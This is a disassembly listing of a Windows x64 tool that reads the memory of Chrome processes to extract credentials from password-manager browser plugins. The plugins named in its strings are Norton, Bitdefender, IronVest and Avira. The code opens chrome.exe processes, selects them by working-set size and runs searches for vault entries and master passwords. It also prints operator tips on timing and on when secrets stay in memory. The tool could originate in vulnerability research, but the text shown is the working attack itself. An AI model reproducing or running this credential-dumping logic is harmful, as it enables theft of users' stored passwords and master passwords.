mov rsi, rax
test rax, rax
je 0x140012376
mov r8d, 0x50
lea rdx, [rbp]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetProcessMemoryInfo]
test eax, eax
je 0x14001236d
mov rcx, qword [rbp + 0x48]
xorps xmm0, xmm0
test rcx, rcx
js 0x140012319
cvtsi2sd xmm0, rcx
jmp 0x14001232e
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm0, rax
addsd xmm0, xmm0
mulsd xmm0, xmm6
mov dword [rbp - 0x78], r14d
movsd qword [rbp - 0x70], xmm0
cmp rbx, r15
je 0x140012352
movups xmm0, xmmword [rbp - 0x78]
movups xmmword [rbx], xmm0
add rbx, 0x10
mov qword [rsp + 0x30], rbx
jmp 0x14001236d
lea r8, [rbp - 0x78]
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.140016070
mov r15, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rdi, 4
cmp rdi, r12
jne 0x1400122d0
lea rcx, [rsp + 0x28]
call fcn.1400014a0
test eax, eax
je 0x14001239a
mov ecx, eax
call fcn.140001a60
jmp 0x1400123be
lea rdx, str.No_process_with_the_second_largest_Private_Working_Set_size_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x140012401
mov rdx, qword [rsp + 0x38]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400123fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400123fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016acc
mov r15, qword [rsp + 0x68]
mov r14, qword [rsp + 0x78]
lea rdx, str.Searching_for_entries__1_2_._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.14000a840
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Searching_for_entries__2_2_._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.14000b090
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.If_zero_credentials_were_found__ensure_that_the_app_is_up__unlocked_and_running__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400124e8
mov rax, qword [rsp + 0x58]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400124e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400124e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, str.No_processes_with_the_specified_name_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14001240b
call fcn.140016acc
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 6
jne 0x140012a5a
mov r8, r14
lea rdx, str.norton
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140012a5a
lea rdx, str.User_input_matches_norton._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.In_this_browser_plugin__the_first_largest_process_is_needed._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.This_works_by_simply_having_the_browser_open._No_interaction_is_needed._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Only_entries_should_be_available._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Wait_30_sec_after_starting_the_browser_to_execute_the_tool._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.For_now__this_only_works_with_Chrome._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], rax
lea rdx, str.chrome.exe
lea rcx, [rbp - 0x38]
call fcn.140001ca0
nop
mov rdi, qword [rbp - 0x38]
mov r12, qword [rbp - 0x30]
cmp rdi, r12
je 0x140012710
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x28], xmm1
xor r15d, r15d
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x20], 0x100
mov rbx, qword [rsp + 0x30]
nop word [rax + rax]
mov r14d, dword [rdi]
mov r8d, r14d
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x140012686
mov r8d, 0x50
lea rdx, [rbp]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetProcessMemoryInfo]
test eax, eax
je 0x14001267d
mov rcx, qword [rbp + 0x48]
xorps xmm0, xmm0
test rcx, rcx
js 0x140012629
cvtsi2sd xmm0, rcx
jmp 0x14001263e
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm0, rax
addsd xmm0, xmm0
mulsd xmm0, xmm6
mov dword [rbp - 0x78], r14d
movsd qword [rbp - 0x70], xmm0
cmp rbx, r15
je 0x140012662
movups xmm0, xmmword [rbp - 0x78]
movups xmmword [rbx], xmm0
add rbx, 0x10
mov qword [rsp + 0x30], rbx
jmp 0x14001267d
lea r8, [rbp - 0x78]
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.140016070
mov r15, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rdi, 4
cmp rdi, r12
jne 0x1400125e0
lea rcx, [rsp + 0x28]
call fcn.140001300
test eax, eax
je 0x1400126aa
mov ecx, eax
call fcn.140001a60
jmp 0x1400126ce
lea rdx, str.No_process_with_the_first_largest_Private_Working_Set_size_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x140012733
mov rdx, qword [rsp + 0x38]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012709
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012997
call fcn.140016acc
jmp 0x140012733
lea rdx, str.No_processes_with_the_specified_name_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Searching_for_entries__1_2_._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.14000b8d0
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.chrome.exe
lea rcx, [rsp + 0x48]
call fcn.140001ca0
mov rbx, rax
lea rax, [rbp - 0x38]
cmp rax, rbx
je 0x1400127f6
mov r8, qword [rbp - 0x38]
test r8, r8
je 0x1400127d0
mov rcx, qword [rbp - 0x28]
sub rcx, r8
sar rcx, 2
lea rdx, [rcx*4]
mov rax, r8
cmp rdx, 0x1000
jb 0x1400127b8
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012837
mov rcx, r8
call fcn.140016acc
xor esi, esi
mov qword [rbp - 0x38], rsi
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x30], xmm0
jmp 0x1400127d2
xor esi, esi
mov rax, qword [rbx]
mov qword [rbp - 0x38], rax
mov rax, qword [rbx + 8]
mov qword [rbp - 0x30], rax
mov rax, qword [rbx + 0x10]
mov qword [rbp - 0x28], rax
mov qword [rbx], rsi
mov qword [rbx + 8], rsi
mov qword [rbx + 0x10], rsi
jmp 0x1400127f8
xor esi, esi
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140012843
mov rax, qword [rsp + 0x58]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001283e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001283e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016acc
mov rdi, qword [rbp - 0x38]
mov r12, qword [rbp - 0x30]
cmp rdi, r12
je 0x1400129a5
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x28], xmm1
mov r15, rsi
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x20], 0x200
mov rbx, qword [rsp + 0x30]
mov r14d, dword [rdi]
mov r8d, r14d
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x140012918
mov r8d, 0x50
lea rdx, [rbp]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetProcessMemoryInfo]
test eax, eax
je 0x14001290f
mov rcx, qword [rbp + 0x48]
xorps xmm0, xmm0
test rcx, rcx
js 0x1400128bb
cvtsi2sd xmm0, rcx
jmp 0x1400128d0
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm0, rax
addsd xmm0, xmm0
mulsd xmm0, xmm6
mov dword [rbp - 0x78], r14d
movsd qword [rbp - 0x70], xmm0
cmp rbx, r15
je 0x1400128f4
movups xmm0, xmmword [rbp - 0x78]
movups xmmword [rbx], xmm0
add rbx, 0x10
mov qword [rsp + 0x30], rbx
jmp 0x14001290f
lea r8, [rbp - 0x78]
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.140016070
mov r15, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rdi, 4
cmp rdi, r12
jne 0x140012872
lea rcx, [rsp + 0x28]
call fcn.1400014a0
test eax, eax
je 0x14001293c
mov ecx, eax
call fcn.140001a60
jmp 0x140012960
lea rdx, str.No_process_with_the_second_largest_Private_Working_Set_size_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x1400129c8
mov rdx, qword [rsp + 0x38]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001299e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001299e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016acc
jmp 0x1400129c8
lea rdx, str.No_processes_with_the_specified_name_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Searching_for_passwords__master_and_entries_2_2_._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.14000bfc0
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.If_zero_credentials_were_found__ensure_that_the_app_is_up__unlocked_and_running__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
nop
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x140012a50
mov rax, qword [rbp - 0x28]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012a4b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012a4b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016acc
mov r15, qword [rsp + 0x68]
mov r14, qword [rsp + 0x78]
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 0xb
jne 0x140012d78
mov r8, r14
lea rdx, str.bitdefender
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140012d78
lea rdx, str.User_input_matches_bitdefender._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.In_this_browser_plugin__the_first_largest_process_is_needed_to_find_the_master_password._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.The_second_largest_process_is_needed_to_find_an_single_entry__but_it_is_not_being_checked._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.This_works_when_the_browser_makes_an_interaction_with_a_login_form_that_has_an_entry._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.If_the_tab_is_closed__nothing_will_be_in_the_memory._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Only_the_master_password_remains_in_this_process_for_approx._5_min._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.For_now__this_only_works_with_Chrome._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rax
lea rdx, str.chrome.exe
lea rcx, [rsp + 0x48]
call fcn.140001ca0
nop
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x50]
cmp rdi, r12
je 0x140012d4b
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x28], xmm1
xor r15d, r15d
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x20], 0x400
mov rbx, qword [rsp + 0x30]
nop
mov r14d, dword [rdi]
mov r8d, r14d
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x140012c06
mov r8d, 0x50
lea rdx, [rbp]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetProcessMemoryInfo]
test eax, eax
je 0x140012bfd
mov rcx, qword [rbp + 0x48]
xorps xmm0, xmm0
test rcx, rcx
js 0x140012ba9
cvtsi2sd xmm0, rcx
jmp 0x140012bbe
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm0, rax
addsd xmm0, xmm0
mulsd xmm0, xmm6
mov dword [rbp - 0x78], r14d
movsd qword [rbp - 0x70], xmm0
cmp rbx, r15
je 0x140012be2
movups xmm0, xmmword [rbp - 0x78]
movups xmmword [rbx], xmm0
add rbx, 0x10
mov qword [rsp + 0x30], rbx
jmp 0x140012bfd
lea r8, [rbp - 0x78]
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.140016070
mov r15, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rdi, 4
cmp rdi, r12
jne 0x140012b60
lea rcx, [rsp + 0x28]
call fcn.140001300
test eax, eax
je 0x140012c2a
mov ecx, eax
call fcn.140001a60
jmp 0x140012c4e
lea rdx, str.No_process_with_the_first_largest_Private_Working_Set_size_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x140012c91
mov rdx, qword [rsp + 0x38]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012c8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012c8c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016acc
mov r15, qword [rsp + 0x68]
mov r14, qword [rsp + 0x78]
lea rdx, str.Searching_for_master_pass__1_2_._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.14000c700
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Searching_for_master_pass__1_2_._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.14000ce00
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.If_zero_credentials_were_found__ensure_that_the_app_is_up__unlocked_and_running__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140012d78
mov rax, qword [rsp + 0x58]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012d73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012d73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, str.No_processes_with_the_specified_name_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140012c9b
call fcn.140016acc
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 8
jne 0x14001304d
mov r8, r14
lea rdx, str.ironvest
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001304d
lea rdx, str.User_input_matches_ironvest._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.In_this_browser_plugin__the_fourth_largest_process_is_needed._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.This_works_when_the_browser_has_the_ironvest_webapp_open._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Only_entries_remains_in_this_process._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.For_now__this_only_works_with_Chrome._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rax
lea rdx, str.chrome.exe
lea rcx, [rsp + 0x48]
call fcn.140001ca0
nop
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x50]
cmp rdi, r12
je 0x140013020
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x28], xmm1
xor r15d, r15d
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x20], 2
mov rbx, qword [rsp + 0x30]
nop word [rax + rax]
mov r14d, dword [rdi]
mov r8d, r14d
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x140012f06
mov r8d, 0x50
lea rdx, [rbp]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetProcessMemoryInfo]
test eax, eax
je 0x140012efd
mov rcx, qword [rbp + 0x48]
xorps xmm0, xmm0
test rcx, rcx
js 0x140012ea9
cvtsi2sd xmm0, rcx
jmp 0x140012ebe
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm0, rax
addsd xmm0, xmm0
mulsd xmm0, xmm6
mov dword [rbp - 0x78], r14d
movsd qword [rbp - 0x70], xmm0
cmp rbx, r15
je 0x140012ee2
movups xmm0, xmmword [rbp - 0x78]
movups xmmword [rbx], xmm0
add rbx, 0x10
mov qword [rsp + 0x30], rbx
jmp 0x140012efd
lea r8, [rbp - 0x78]
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.140016070
mov r15, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rdi, 4
cmp rdi, r12
jne 0x140012e60
lea rcx, [rsp + 0x28]
call fcn.140001630
test eax, eax
je 0x140012f2a
mov ecx, eax
call fcn.140001a60
jmp 0x140012f4e
lea rdx, str.No_process_with_the_fourth_largest_Private_Working_Set_size_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x140012f91
mov rdx, qword [rsp + 0x38]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012f8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012f8c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016acc
mov r15, qword [rsp + 0x68]
mov r14, qword [rsp + 0x78]
lea rdx, str.Searching_for_entries._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.14000d500
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.If_zero_credentials_were_found__ensure_that_the_app_is_up__unlocked_and_running__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x14001304d
mov rax, qword [rsp + 0x58]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013048
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140013048
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, str.No_processes_with_the_specified_name_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140012f9b
call fcn.140016acc
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 5
jne 0x14001335d
mov r8, r14
lea rdx, str.avira
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001335d
lea rdx, str.User_input_matches_avira._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.In_this_browser_plugin__the_second_largest_process_is_needed._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.This_works_by_simply_having_the_browser_open._No_interaction_is_needed._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.To_speed_up_the_process__visit_a_login_form._After_1_min_the_credentials_should_be_in_the_memory._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Only_entries_remains_in_this_process._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
